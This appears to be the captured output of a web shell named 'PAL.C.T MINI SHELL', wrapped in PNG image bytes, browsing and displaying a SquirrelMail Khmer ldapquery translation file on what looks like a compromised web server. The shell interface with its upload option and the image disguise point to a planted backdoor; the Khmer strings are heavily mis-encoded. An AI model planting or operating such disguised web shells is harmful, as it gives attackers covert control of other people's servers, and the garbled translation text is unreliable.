‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /var/www/html/img_galeri/2r1asasas/root/usr/share/squirrelmail/locale/km/LC_MESSAGES/
upload
files >> /var/www/html/img_galeri/2r1asasas/root/usr/share/squirrelmail/locale/km/LC_MESSAGES/ldapquery.po

# Khmer (km) ldapquery Translation
# Khoem Sokhem <khoemsokhem@khmeros.info>, 2008, 2009.
# Eng Vannak <evannak@khmeros.info>, 2008.
# piseth <piseth_dv@khmeros.info>, 2008.
# Copyright (c) 2008-2009 KhmerOS Project
# Copyright (c) 1999-2009 The SquirrelMail Project Team
msgid ""
msgstr ""
"Project-Id-Version: ldapquery\n"
"Report-Msgid-Bugs-To: Tomas Kuliavas <tokul@users.sourceforge.net>\n"
"POT-Creation-Date: 2006-03-26 17:23+0300\n"
"PO-Revision-Date: 2009-04-24 09:26+0700\n"
"Last-Translator: Khoem Sokhem <khoemsokhem@khmeros.info>\n"
"Language-Team: Khmer <en@li.org>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: KBabel 1.11.4\n"
"Plural-Forms: nplurals=1; plural=0;\n"

#: addressbook.php:64
msgid "Personal address book is not available."
msgstr "មិនមាន​សៀវភៅ​អាសយដ្ឋាន​ផ្ទាល់ážáŸ’លួន​ទáŸÂ áŸ”"

#. checked email field
#: addressbook.php:71
msgid "Email address is not set or empty."
msgstr "អាសយដ្ឋាន​អ៊ីមែល​មិន​ážáŸ’រូវ​បាន​កំណážáŸ‹ ឬ​ទទáŸÂ áŸ”"

#. checked both name fields
#: addressbook.php:74
msgid "Name is not set or empty."
msgstr "ឈ្មោះ​មិន​ážáŸ’រូវ​បាន​កំណážáŸ‹ ឬ​ទទáŸÂ áŸ”"

#: addressbook.php:80
#, php-format
msgid "Nickname %s is already in use."
msgstr "សម្មážáž·áž“ាម %s គឺ​កំពុង​ប្រើ ។"

#: addressbook.php:82
msgid "Can't create address book entry."
msgstr "មិនអាចប​ង្កើážâ€‹áž’áž¶ážáž»â€‹ážŸáŸ€ážœáž—ៅ​អាសយដ្ឋាន​បានទáŸÂ áŸ”"

#: addressbook.php:94
msgid "Nickname: "
msgstr "សម្មážáž·áž“ាម ៖ "

#: addressbook.php:97
msgid "First name: "
msgstr "នាម​ážáŸ’លួន ៖ "

#: addressbook.php:100
msgid "Last name: "
msgstr "នាម​ážáŸ’រកូល ៖ "

#: addressbook.php:103
msgid "E-mail: "
msgstr "អ៊ីមែល ៖ "

#: addressbook.php:106
msgid "Info: "
msgstr "áž–áŸážáŸŒáž˜áž¶áž“ ៖ "

#: addressbook.php:109
msgid "Add address"
msgstr "បន្ážáŸ‚ម​អាសយដ្ឋាន​"

#: addressbook.php:113
msgid "Address book entry is saved."
msgstr "បាន​រក្សាទុក​ធាážáž»â€‹ážŸáŸ€ážœáž—ៅ​អាសយដ្ឋាន ។"

#: addressbook.php:120
msgid "Return to search results"
msgstr "ážáŸ’រឡប់​ទៅ​កាន់​លទ្ធផល​ស្វែងរក"

#: class.schema.php:43
#, php-format
msgid "Dublicate ldap attribute definition: %s."
msgstr "ស្ទួន​ការ​កំណážáŸ‹â€‹áž‚ុណលក្ážážŽáŸˆ ldap ៖ %s ។"

#: class.schema.php:77
#, php-format
msgid "Dublicate ldap object definition: %s."
msgstr "ស្ទួន​ការ​កំណážáŸ‹â€‹ážœážáŸ’ážáž» ldap ៖ %s ។"

#: class.schema.php:92
msgid "Any"
msgstr "ណាមួយ"

#: functions.php:97
msgid "Directory"
msgstr "ážáž"

#: functions.php:116 functions.php:161
msgid "Directory Preferences"
msgstr "ចំណង់ចំណូលចិážáŸ’ážâ€‹ážáž"

#: functions.php:118
msgid ""
"These settings control what type of output you will see when you use the "
"Directory link to search Directory Services."
msgstr ""
"ការ​កំណážáŸ‹â€‹áž‘ាំងនáŸáŸ‡ គ្រប់គ្រង​នូវ​ប្រភáŸáž‘​លទ្ធផល​ដែល​អ្នក​នឹង​ឃើញ​នៅពáŸáž›â€‹ážŠáŸ‚ល​អ្នក​ប្រើ​ážáŸ†ážŽâ€‹ážážâ€‹ážŠáž¾áž˜áŸ’បី​ស្វែងរក​សáŸážœáž¶â€‹"
"ážážÂ áŸ”"

#: functions.php:281 functions.php:350
msgid "No records found"
msgstr "រក​មិនឃើញ​កំណážáŸ‹ážáŸ’ážšáž¶"

#: functions.php:553
msgid "Save"
msgstr "រក្សាទុក"

#: functions.php:555
msgid "Add to address book"
msgstr "បន្ážáŸ‚ម​ទៅ​សៀវភៅ​អាសយដ្ឋាន"

#: functions.php:577
msgid "Plugin requires PHP with LDAP support."
msgstr "កម្មវិធី​ជំនួយ​ážáŸ’រូវការ​ការ​គាំទ្រ PHP ជាមួយ​នឹង LDAP ។ "

#: functions.php:579
msgid "LDAP address books are not configured in SquirrelMail configuration."
msgstr "សៀវភៅ​អាសយដ្ឋាន LDAP មិន​បាន​កំណážáŸ‹â€‹ážšáž…នា​សម្ពáŸáž“្ធ​ក្នុង​ការ​កំណážáŸ‹â€‹ážšáž…នា​សម្ពáŸáž“្ធ SquirrelMail ទ០។"

#. Get the userdn to authenticate with
#: ldapquery.php:59
msgid "User DN:"
msgstr "DN អ្នក​ប្រើ ៖"

#. Get the user password
#: ldapquery.php:63
msgid "Password:"
msgstr "ពាក្យ​សម្ងាážáŸ‹Â áŸ–"

#. Get the objectclass the user wants to search for
#: ldapquery.php:69
msgid "Search For:"
msgstr "ស្វែងរក ៖"

#. Get the attribute the user wants to search by
#: ldapquery.php:81
msgid "Where:"
msgstr "នៅ ៖"

#: ldapquery.php:106 ldapquery.php:108
msgid "Contains"
msgstr "មាន"

#: ldapquery.php:110 ldapquery.php:112
msgid "Is"
msgstr "គឺ"

#. Sort By menu
#: ldapquery.php:121
msgid "Sort By:"
msgstr "ážáž˜áŸ’រៀប​ážáž¶áž˜Â áŸ–"

#: ldapquery.php:136
msgid "Search in:"
msgstr "ស្វែងរក​ក្នុង ៖"

#: ldapquery.php:141
msgid "All LDAP address books"
msgstr "សៀវភៅ​អាសយដ្ឋាន LDAP ទាំងអស់"

#: ldapquery.php:158
msgid "Search"
msgstr "ស្វែងរក"

#: ldapquery.php:165
msgid "Search Results"
msgstr "លទ្ធផល​ស្វែងរក"

#: ldapquery.php:169
#, php-format
msgid "Comparetype is %s"
msgstr "Comparetype គឺ %s"

#: ldapquery.php:189
#, php-format
msgid "QUERY is %s"
msgstr "សំណួរ​គឺ %s"

#.
#. * Used in debug mode
#. * Example output "Querying: ldap-server-address on port some-port with base ldap-base-dn"
#. * See http://www.php.net/sprintf if you want to rearrange order of arguments
#.
#: ldapquery.php:227
#, php-format
msgid "Querying: %s on port %d with base %s"
msgstr "សំណួរ ៖ %s នៅ​លើ​ច្រក %d ដែល​មាន​គោល %s"

#: ldapquery.php:234
#, php-format
msgid "Could not connect to LDAP server %s"
msgstr "មិន​អាច​ážáž—្ជាប់​ទៅ​ម៉ាស៊ីន​បម្រើ LDAP %s"

#: ldapquery.php:244 ldapquery.php:249 ldapquery.php:254
msgid "Unable to bind to LDAP server"
msgstr "មិន​អាច​ចង​ភ្ជាប់​ជាមូយ"

#: ldapquery.php:266
msgid "Nothing found!"
msgstr "រក​មិន​ឃើញ​អ្វី​ទាំងអស់!"

#: ldapquery.php:274
#, php-format
msgid "output type is %s"
msgstr "ប្រភáŸáž‘​ទិន្នផល​គឺ %s"

#: ldapquery.php:275
#, php-format
msgid "output sorted by %s"
msgstr "ážáž˜áŸ’រៀប​ទិន្នផល​ážáž¶áž˜ %s"

#: options.php:43
msgid "Options - Directory Preferences"
msgstr "ជម្រើស - ចំណូល​ចិážáŸ’ážâ€‹ážáž"

#: options.php:49
msgid "Output types can be:"
msgstr "ប្រភáŸáž‘​ទិន្នផល​អាច​ជា ៖"

#: options.php:52 options.php:62
msgid "One Table"
msgstr "ážáž¶ážšáž¶áž„​មួយ"

#: options.php:53
msgid ""
"One big table with one row per record found and each selected attribute as a "
"separate column."
msgstr "ážáž¶ážšáž¶áž„​ធំ​មួយ​ដែល​មាន​មួយ​ជួរ​ដáŸáž€â€‹ážšáž€â€‹ážƒáž¾áž‰â€‹áž€áŸ’នុង​មួយ​កំណážáŸ‹â€‹ážáŸ’ážšáž¶  និង​គុណ​លក្ážážŽáŸˆâ€‹ážŠáŸ‚ល​បាន​ជ្រើស​នីមួយៗ​ជា​ជួរ​ឈរ​ដែល​បំបែក ។"

#: options.php:54 options.php:63
msgid "Multiple Tables"
msgstr "ážáž¶ážšáž¶áž„​ច្រើន"

#: options.php:55
msgid ""
"One table per record found with 2 columns for each table. One column "
"contains attribute names and the 2nd column shows values for each "
"attribute.  This format is best if you have many attributes selected or if "
"the values for some of the attributes you have selected can be very long "
"with no spaces (like labeledurl)."
msgstr "ážáž¶ážšáž¶áž„​មួយ​ក្នុង​កំណážáŸ‹ážáŸ’រា​មួយ​បាន​រកឃើញ​ដោយ​មាន​ជួរ​ឈរ ២ សម្រាប់​ážáž¶ážšáž¶áž„​នីមួយៗ ។ ជួរ​ឈរ​មួយ​មាន​ឈ្មោះ​គុណលក្ážážŽáŸˆ ហើយ​ជួរឈរ​ទី ២ បង្ហាញ​អំពី​ážáž˜áŸ’លៃ​សម្រាប់​គុណលក្ážážŽáŸˆâ€‹áž“ីមួយៗ ។ ទ្រង់ទ្រាយនáŸáŸ‡â€‹áž‚ឺ​ល្អ​បំផុážâ€‹áž“ៅពáŸáž›â€‹ážŠáŸ‚ល​អ្នក​បាន​ជ្រើស​គុណលក្ážážŽáŸˆâ€‹áž…្រើន ឬ​នៅពáŸáž›â€‹ážŠáŸ‚ល​ážáž˜áŸ’លៃ​សម្រាប់​គុណលក្ážážŽáŸˆâ€‹ážŠáŸ‚ល​អ្នក​បាន​ជ្រើស​អាចវែង​ដោយ​គ្មាន​ដកឃ្លា (ដូចជា labeledurl) ។"

#: options.php:60
msgid "Select Output Type:"
msgstr "ជ្រើស​ប្រភáŸáž‘​ទិន្នផល ៖"

#: options.php:68
msgid "Select Displayed Fields"
msgstr "ជ្រើស​វាល​ដែល​បង្ហាញ"

#: options.php:76
msgid "Submit"
msgstr "ដាក់​ស្នើ"

#. openldap system schemas
#: schema/core.php:20
msgid "Common Name"
msgstr "ឈ្មោះ​ទូទៅ"

#: schema/core.php:23
msgid "Knowledge Information"
msgstr "áž–áŸážáŸŒáž˜áž¶áž“​ចំណáŸáŸ‡â€‹ážŠáž¹áž„"

#: schema/core.php:25
msgid "Surname"
msgstr "នាម​ážáŸ’រកូល"

#: schema/core.php:27
msgid "Serial Number"
msgstr "áž›áŸážâ€‹ážŸáŸ€ážšáŸ€áž›"

#: schema/core.php:29
msgid "Country Name"
msgstr "ឈ្មោះ​ប្រទáŸážŸ"

#: schema/core.php:31
msgid "Locality Name"
msgstr "ឈ្មោះ​មូលដ្ឋាន"

#: schema/core.php:33
msgid "State or Province Name"
msgstr "ឈ្មោះ​ážáŸážáŸ’ហឬ​ក្រុង"

#: schema/core.php:35
msgid "Street Address"
msgstr "អាសយដ្ឋាន​ផ្លូវ"

#: schema/core.php:37
msgid "Organisation Name"
msgstr "ឈ្មោះ​អង្គការ"

#: schema/core.php:39
msgid "Organisational Unit Name"
msgstr "ឈ្មោះ​ឯកážáž¶â€‹ážšáŸ€áž”ចំ"

#: schema/core.php:41
msgid "Title"
msgstr "ចំណង​ជើង"

#: schema/core.php:43
msgid "Description"
msgstr "ការ​ពិពណ៌នា"

#: schema/core.php:45
msgid "Search Guide"
msgstr "មគ្គុទ្ទáŸážŸáž€áŸâ€‹ážŸáŸ’វែងរក"

#: schema/core.php:47
msgid "Business Category"
msgstr "ប្រភáŸáž‘​ពាណិជ្ជកម្ម"

#: schema/core.php:49
msgid "Postal Address"
msgstr "អាសយដ្ឋាន​ប្រៃសណីយáŸ"

#: schema/core.php:51
msgid "Postal Code"
msgstr "áž›áŸážâ€‹áž”្រៃសណីយáŸ"

#: schema/core.php:53
msgid "Post Office Box"
msgstr "ប្រអប់​ប្រៃសនីយáŸ"

#: schema/core.php:55
msgid "Physical Delivery Office Name"
msgstr "ឈ្មោះ​ការិយាលáŸáž™â€‹áž…ែកចាយ​ពិáž"

#: schema/core.php:57
msgid "Telephone Number"
msgstr "áž›áŸážâ€‹áž‘ូរសáŸáž–្ទ"

#: schema/core.php:59
msgid "Telex Number"
msgstr "áž›áŸáž Telex"

#: schema/core.php:61
msgid "Teletex Terminal Identifier"
msgstr "កម្មវិធី​កំណážáŸ‹â€‹áž¢ážáŸ’ážážŸáž‰áŸ’ញាណ​ស្ážáž¶áž“ីយ០Teletex"

#: schema/core.php:63
msgid "Facsimile (Fax) Telephone Number"
msgstr "áž›áŸážâ€‹áž‘ូរសáŸáž–្ទ Facsimile (ទូរសារ)"

#: schema/core.php:66
msgid "X.121 Address"
msgstr "អាសយដ្ឋាន X.121"

#: schema/core.php:68
msgid "International ISDN Number"
msgstr "áž›áŸáž ISDN អន្ážážšáž‡áž¶ážáž·"

#: schema/core.php:70
msgid "Registered Postal Address"
msgstr "អាសយដ្ឋាន​ប្រៃសណីយáŸâ€‹ážŠáŸ‚ល​បាន​ចុះ​ឈ្មោះ"

#: schema/core.php:72
msgid "Destination Indicator"
msgstr "អ្នក​ចង្អុលបង្ហាញ​ទិសដៅ"

#: schema/core.php:74
msgid "Preferred Delivery Method"
msgstr "វិធីសាស្ážáŸ’រ​ចែក​រំលែក​ចំណូល​ចិážáŸ’áž"

#: schema/core.php:76
msgid "Presentation Address"
msgstr "អាសយដ្ឋាន​ការ​បង្ហាញ"

#: schema/core.php:78
msgid "Supported Application Context"
msgstr "មាážáž·áž€áž¶â€‹áž€áž˜áŸ’មវិធី​ដែលបាន​គាំទ្រ"

#: schema/core.php:80
msgid "Member of a group"
msgstr "សមាជិក​នៃ​ក្រុម"

#: schema/core.php:82
msgid "Owner"
msgstr "ម្ចាស់"

#: schema/core.php:84
msgid "Occupant of role"
msgstr "អ្នក​កាន់កាប់​ážáž½â€‹áž“ាទី"

#: schema/core.php:86
msgid "See also"
msgstr "មើល​បន្ážáŸ‚ម"

#: schema/core.php:88
msgid "User Certificate"
msgstr "វិញ្ញាបនបážáŸ’រ​អ្នក​ប្រើ"

#: schema/core.php:90
msgid "CA Certificate"
msgstr "វិញ្ញាបនបážáŸ’ážš CA"

#: schema/core.php:92
msgid "Authority Revocation List"
msgstr "បញ្ជី​​ការ​ដក​ហូážâ€‹áž¢áž¶áž‡áŸ’ញាធរ"

#: schema/core.php:94
msgid "Certificate Revocation List"
msgstr "បញ្ជី​ការ​ដក​ហូážâ€‹ážœáž·áž‰áŸ’ញាបនបážáŸ’ážš"

#: schema/core.php:96
msgid "Cross Certificate Pair"
msgstr "វិញ្ញាបនបážáŸ’រ​ឆ្លង​ពីរ"

#: schema/core.php:98
msgid "First Name"
msgstr "នាម​ážáŸ’លួន"

#: schema/core.php:101
msgid "Initials"
msgstr "អាទិ​សង្កáŸáž"

#: schema/core.php:103
msgid "Generation Qualifier"
msgstr "កម្មវិធី​បំពáŸáž‰â€‹áž€áž¶ážšâ€‹áž”ង្កើáž"

#: schema/core.php:105
msgid "X.500 unique identifier"
msgstr "កម្មវិធី​កំណážáŸ‹â€‹áž¢ážáŸ’ážážŸáž‰áŸ’ញាណ​យូនីក X.500"

#: schema/core.php:107
msgid "DN qualifier"
msgstr "កម្មវិធី​បំពáŸáž‰ DN"

#: schema/core.php:109
msgid "Enhanced Search Guide"
msgstr "មគ្គុទ្ទáŸážŸáž€áŸâ€‹ážŸáŸ’វែងរក​ដែល​បាន​បង្កើន"

#: schema/core.php:111
msgid "Protocol Information"
msgstr "áž–áŸážáŸŒáž˜áž¶áž“​ពិធីការ"

#: schema/core.php:113
msgid "unique member of a group"
msgstr "សមាជិក​មាន​ážáŸ‚​មួយ​របស់​ក្រុម"

#: schema/core.php:115
msgid "House Identifier"
msgstr "កម្មវិធី​កំណážáŸ‹â€‹áž¢ážáŸ’ážážŸáž‰áŸ’ញាណ​ផ្ទះ"

#: schema/core.php:117
msgid "Supported Algorithms"
msgstr "ក្បួន​ដោះស្រាយ​ដែល​គាំទ្រ"

#: schema/core.php:119
msgid "Delta Revocation List"
msgstr "បញ្ជី​ការ​ដកហូážâ€‹ážŠáŸ‚áž›ážáž¶"

#. Attribute specifies a directory management domain (DMD),
#. the administrative authority which operates the directory server.
#: schema/core.php:123
msgid "Name of DMD"
msgstr "ឈ្មោះ​របស់ DMD"

#: schema/core.php:125
msgid "Labelled URI"
msgstr "URI ដែល​មាន​ស្លាក"

#: schema/core.php:127
msgid "User ID"
msgstr "áž›áŸážâ€‹ážŸáž˜áŸ’គាល់​អ្នក​ប្រើ"

#: schema/core.php:130
msgid "Mail"
msgstr "សំបុážáŸ’ážš"

#: schema/core.php:133
msgid "Domain Component"
msgstr "សមាសភាគ​ដែន"

#: schema/core.php:136
msgid "Associated Domain"
msgstr "ដែន​ដែល​ភ្ជាប់"

#: schema/core.php:138
msgid "Email Address"
msgstr "អាសយដ្ឋាន​អ៊ីមែល"

#. * Object Classes
#: schema/core.php:143 schema/cosine.php:84
msgid "Country"
msgstr "ប្រទáŸážŸ"

#: schema/core.php:145
msgid "Locality"
msgstr "មូលដ្ឋាន"

#: schema/core.php:147
msgid "Organisation"
msgstr "អង្គការ"

#: schema/core.php:149
msgid "Organisational Unit"
msgstr "ឯកážáž¶â€‹ážšáŸ€áž”ចំ"

#: schema/core.php:151
msgid "Person"
msgstr "មនុស្ស"

#: schema/core.php:153
msgid "Organisational Person"
msgstr "បុគ្គលរៀបចំ"

#: schema/core.php:155
msgid "Organisational Role"
msgstr "ážáž½áž“ាទី​រៀបចំ"

#: schema/core.php:157
msgid "Group of Names"
msgstr "ឈ្មោះ​ក្រុម"

#: schema/core.php:159
msgid "Residential Person"
msgstr "លំនៅដ្ឋាន​ឯកជន"

#: schema/core.php:161
msgid "Application Process"
msgstr "ដំណើរការ​កម្មវិធី"

#: schema/core.php:163
msgid "Application Entity"
msgstr "អង្គភាព​កម្មវិធី"

#. RFC2256: a directory system agent (a server)
#: schema/core.php:166
msgid "DSA"
msgstr "DSA"

#: schema/core.php:168
msgid "Device"
msgstr "ឧបករណáŸ"

#: schema/core.php:170
msgid "Strong Authentication User"
msgstr "អ្នកប្រើ​ការ​ផ្ទៀងផ្ទាážáŸ‹â€‹áž—áž¶áž–ážáŸ’រឹមážáŸ’រូវ​ážáŸ’លាំង"

#: schema/core.php:172
msgid "Certificate Authority"
msgstr "អាជ្ញាធរ​វិញ្ញាបនបážáŸ’ážš"

#: schema/core.php:174
msgid "Group of Unique Names"
msgstr "ក្រុម​ឈ្មោះ​មាន​ážáŸ‚​មួយ"

#: schema/core.php:176
msgid "User Security Information"
msgstr "áž–áŸážáŸŒáž˜áž¶áž“​សុវážáŸ’ážáž·áž—ាព​របស់​អ្នក​ប្រើ"

#: schema/core.php:178
msgid "Certificate Authority V2"
msgstr "អាជ្ញាធរ​វិញ្ញាបនបážáŸ’ážš V2"

#: schema/core.php:180
msgid "CRL Distribution Point"
msgstr "ចំណុច​ចែកចាយ CRL"

#. a directory management domain object
#: schema/core.php:183
msgid "dmd"
msgstr "dmd"

#: schema/core.php:185
msgid "PKI User"
msgstr "អ្នក​ប្រើ PKI"

#: schema/core.php:187
msgid "PKI CA"
msgstr "PKI CA"

#: schema/core.php:189
msgid "Delta CRL"
msgstr "Delta CRL"

#: schema/core.php:191
msgid "Labeled URI Object"
msgstr "ážœážáŸ’ážáž» URI ដែល​មាន​ស្លាក"

#: schema/core.php:193
msgid "Simple Security Object"
msgstr "ážœážáŸ’ážáž»â€‹ážŸáž»ážœážáŸ’ážáž·áž—ាព​ធម្មážáž¶"

#: schema/core.php:195
msgid "DC Object"
msgstr "ážœážáŸ’ážáž» DC"

#: schema/core.php:197
msgid "UID Object"
msgstr "ážœážáŸ’ážáž» UID"

#: schema/cosine.php:19
msgid "Encoded Text or Address"
msgstr "អážáŸ’ážáž”áž‘ ឬ​អាសយដ្ឋាន​ដែល​បាន​អ៊ីនកូដ"

#: schema/cosine.php:21
msgid "Info"
msgstr "áž–áŸážáŸŒáž˜áž¶áž“"

#. Favorite drink (noun)
#: schema/cosine.php:24
msgid "Drink"
msgstr "áž—áŸážŸáž‡áŸ’ជៈ"

#: schema/cosine.php:27
msgid "Room Number"
msgstr "áž›áŸážâ€‹áž”ន្ទប់"

#: schema/cosine.php:29
msgid "Photo"
msgstr "រូបážáž"

#: schema/cosine.php:31
msgid "Category of user"
msgstr "ប្រភáŸáž‘​អ្នក​ប្រើ"

#: schema/cosine.php:33
msgid "Host"
msgstr "ម៉ាស៊ីន"

#: schema/cosine.php:35
msgid "Manager"
msgstr "អ្នក​គ្រប់គ្រង"

#: schema/cosine.php:37
msgid "Document identifier"
msgstr "កម្មវិធី​កំណážáŸ‹â€‹áž¢ážáŸ’ážážŸáž‰áŸ’ញាណ​ឯកសារ"

#: schema/cosine.php:39
msgid "Document Title"
msgstr "ចំណង​ជើង​ឯកសារ"

#: schema/cosine.php:41
msgid "Document version"
msgstr "កំណែ​ឯកសារ"

#: schema/cosine.php:43
msgid "Document author"
msgstr "អ្នក​និពន្ធ​ឯកសារ"

#: schema/cosine.php:45
msgid "Location of document"
msgstr "ទីážáž¶áŸ†áž„​ឯកសារ"

#: schema/cosine.php:47
msgid "Home Phone"
msgstr "ទូរសáŸáž–្ទ​នៅ​ផ្ទះ"

#: schema/cosine.php:50
msgid "Secretary"
msgstr "áž›áŸážáž¶"

#: schema/cosine.php:52
msgid "Other Mailbox"
msgstr "ប្រអប់​សំបុážáŸ’រ​ផ្សáŸáž„​ទៀáž"

#. DNS A record entries
#: schema/cosine.php:55
msgid "A Record"
msgstr "កំណážáŸ‹â€‹ážáŸ’ážšáž¶"

#. DNS MD record entries
#: schema/cosine.php:58
msgid "MD Record"
msgstr "កំណážáŸ‹â€‹ážáŸ’ážšáž¶ MD"

#. DNS MX record entries
#: schema/cosine.php:61
msgid "MX Record"
msgstr "កំណážáŸ‹â€‹ážáŸ’ážšáž¶ MX"

#. DNS NS record entries
#: schema/cosine.php:64
msgid "NS Record"
msgstr "កំណážáŸ‹â€‹ážáŸ’ážšáž¶ NS"

#. DNS SOA record entries
#: schema/cosine.php:67
msgid "SOA Record"
msgstr "កំណážáŸ‹â€‹ážáŸ’ážšáž¶ SOA"

#. DNS CNAME record entries
#: schema/cosine.php:70
msgid "CNAME Record"
msgstr "កំណážáŸ‹â€‹ážáŸ’ážšáž¶ CNAME"

#: schema/cosine.php:72
msgid "Associated Name"
msgstr "ឈ្មោះ​ដែល​ភ្ជាប់"

#: schema/cosine.php:74
msgid "Home Postal Address"
msgstr "អាសយដ្ឋាន​គáŸáž ážŠáŸ’ឋាន"

#: schema/cosine.php:76
msgid "Personal Title"
msgstr "ងារ​ផ្ទាល់ážáŸ’លួន"

#: schema/cosine.php:78
msgid "Mobile Phone Number"
msgstr "áž›áŸážâ€‹áž‘ូរសព្ទ​ចលáŸáž"

#: schema/cosine.php:81
msgid "Pager"
msgstr "áž—áŸáž€áž™áŸážš"

#: schema/cosine.php:87
msgid "Unique Identifier"
msgstr "ឧបករណáŸâ€‹ážŸáž˜áŸ’គាល់​ážáŸ‚​មួយ"

#: schema/cosine.php:89
msgid "Organizational status"
msgstr "ស្ážáž¶áž“ភាព​អង្គការ"

#. Mail address in rfc733 format
#: schema/cosine.php:92
msgid "Janet mailbox"
msgstr "ប្រអប់​សំបុážáŸ’ážš Janet"

#: schema/cosine.php:94
msgid "Mail Preference Option"
msgstr "ជម្រើស​ចំណូល​ចិážáŸ’ážâ€‹ážŸáŸ†áž”áž»ážáŸ’ážš"

#: schema/cosine.php:96
msgid "Name of building"
msgstr "ឈ្មោះ​អាគារ"

#: schema/cosine.php:98
msgid "DSA Quality"
msgstr "គុណភាព DSA"

#: schema/cosine.php:100
msgid "Single Level Quality"
msgstr "គុណភាព​កម្រិážâ€‹ážáŸ‚​មួយ"

#: schema/cosine.php:102
msgid "Subtree Minimum Quality"
msgstr "គុណភាព​អប្បបរមា​មែកធាងរង"

#: schema/cosine.php:104
msgid "Subtree Maximum Quality"
msgstr "គុណភាព​អážáž·áž”រមា​មែកធាងរង"

#: schema/cosine.php:106
msgid "Personal Signature"
msgstr "áž ážáŸ’ážáž›áŸážáž¶â€‹áž•្ទាល់ážáŸ’លួន"

#. Redirection to other entry in directory
#: schema/cosine.php:109
msgid "DIT Redirect"
msgstr "ប្ដូរ​ទិសដៅ DIT"

#: schema/cosine.php:111
msgid "Audio"
msgstr "អូឌីយ៉ូ"

#: schema/cosine.php:113
msgid "Publisher of document"
msgstr "អ្នក​បោះពុម្ព​ផ្សាយ​ឯកសារ"

#: schema/cosine.php:116
msgid "Pilot Person"
msgstr "បុគ្គល​គំរូ"

#: schema/cosine.php:119
msgid "Account"
msgstr "គណនី"

#: schema/cosine.php:121
msgid "Document"
msgstr "ឯកសារ"

#: schema/cosine.php:123
msgid "Room"
msgstr "បន្ទប់"

#: schema/cosine.php:125
msgid "Document Series"
msgstr "ស៊áŸážšáž¸â€‹áž¯áž€ážŸáž¶ážš"

#. can represent dns and nrs domain objects
#: schema/cosine.php:128
msgid "Domain"
msgstr "ដែន"

#: schema/cosine.php:130
msgid "RFC822 Local Part"
msgstr "ផ្នែក​មូលដ្ឋាន RFC822"

#: schema/cosine.php:132
msgid "DNS Domain"
msgstr "ដែន DNS"

#: schema/cosine.php:134
msgid "Object related to domain"
msgstr "ážœážáŸ’ážáž»â€‹ážŠáŸ‚ល​ទាក់ទង​ទៅ​និង​ដែន"

#: schema/cosine.php:136
msgid "Friendly Country"
msgstr "ប្រទáŸážŸâ€‹áž‡áž¶â€‹áž˜áž·ážáŸ’áž"

#: schema/cosine.php:138
msgid "Pilot Organisation"
msgstr "អង្គការ​គំរូ"

#: schema/cosine.php:140
msgid "Pilot DSA"
msgstr "DSA គំរូ"

#: schema/cosine.php:142
msgid "Quality Labelled Data"
msgstr "ទិន្ននáŸáž™â€‹ážŠáŸ‚ល​មាន​ស្លាក​មាន​គុណភាព"

#: schema/inetorgperson.php:20
msgid "Car License"
msgstr "អជ្ញាបណ្ណ​រážáž™áž“្áž"

#: schema/inetorgperson.php:22
msgid "Department Number"
msgstr "áž›áŸážâ€‹áž“ាយកដ្ឋាន"

#: schema/inetorgperson.php:24
msgid "Displayed Name"
msgstr "ឈ្មោះ​បង្ហាញ"

#: schema/inetorgperson.php:26
msgid "Employee Number"
msgstr "áž›áŸážâ€‹áž“ិយោជិáž"

#: schema/inetorgperson.php:28
msgid "Employee Type"
msgstr "ប្រភáŸáž‘​និយោជិáž"

#: schema/inetorgperson.php:30
msgid "JPEG Photo"
msgstr "រូបភាព JPEG"

#: schema/inetorgperson.php:32
msgid "Preferred Language"
msgstr "ភាសា​ចំណូល​ចិážáŸ’áž"

#: schema/inetorgperson.php:34
msgid "User SMIME Certificate"
msgstr "វិញ្ញាបនបážáŸ’ážš SMIME អ្នក​ប្រើ"

#: schema/inetorgperson.php:36
msgid "User PKCS12"
msgstr "PKCS12 អ្នក​ប្រើ"

#: schema/inetorgperson.php:38
msgid "Internet Organizational Person"
msgstr "បុគ្គល​រៀបចំ​ážáž¶áž˜â€‹áž¢áŸŠáž¸áž“ធឺណិáž"

ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚